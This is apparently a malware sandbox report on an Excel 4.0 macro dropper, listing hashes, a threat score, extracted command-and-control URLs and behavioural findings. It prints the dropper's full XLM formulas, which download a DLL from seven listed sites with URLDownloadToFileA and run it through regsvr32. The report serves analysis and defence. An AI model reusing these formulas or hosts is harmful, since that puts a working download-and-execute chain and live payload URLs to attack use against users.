1385604f9d6085b3d6b6b95c912dfa3e9dbc72d766c04f63dc8d7f2292f7494d

General

Target

1385604f9d6085b3d6b6b95c912dfa3e9dbc72d766c04f63dc8d7f2292f7494d
Size

32KB
Sample

241120-djzhbatqck
MD5

6c6c8fc94cfea3d5d5f7741dad0aa2c4
SHA1

1c3f94513638439873432daa39202f8bd01eee5a
SHA256

1385604f9d6085b3d6b6b95c912dfa3e9dbc72d766c04f63dc8d7f2292f7494d
SHA512

647bee77dd27d017d21d1d1e1d0d6ef5de27cd56db0059a5ee112fad4340bdc3d2af256aca11f11f3e608b90f9947f0744df9a0fac0cd2abe1831c5c7ce107f8
SSDEEP

768:Mjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:mEsTXrgXUndkq8E6D

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

https://al-brik.com/vb-w/U/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alejandrastamateas.com/web/ZxA3zHwsH3r/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb-w/U/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

xlm40.dropper

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

xlm40.dropper

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

xlm40.dropper

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

xlm40.dropper

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

xlm40.dropper

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

xlm40.dropper

https://al-brik.com/vb-w/U/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

xlm40.dropper

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

Targets

- Target
  
  1385604f9d6085b3d6b6b95c912dfa3e9dbc72d766c04f63dc8d7f2292f7494d
- Size
  
  32KB
- MD5
  
  6c6c8fc94cfea3d5d5f7741dad0aa2c4
- SHA1
  
  1c3f94513638439873432daa39202f8bd01eee5a
- SHA256
  
  1385604f9d6085b3d6b6b95c912dfa3e9dbc72d766c04f63dc8d7f2292f7494d
- SHA512
  
  647bee77dd27d017d21d1d1e1d0d6ef5de27cd56db0059a5ee112fad4340bdc3d2af256aca11f11f3e608b90f9947f0744df9a0fac0cd2abe1831c5c7ce107f8
- SSDEEP
  
  768:Mjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:mEsTXrgXUndkq8E6D
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2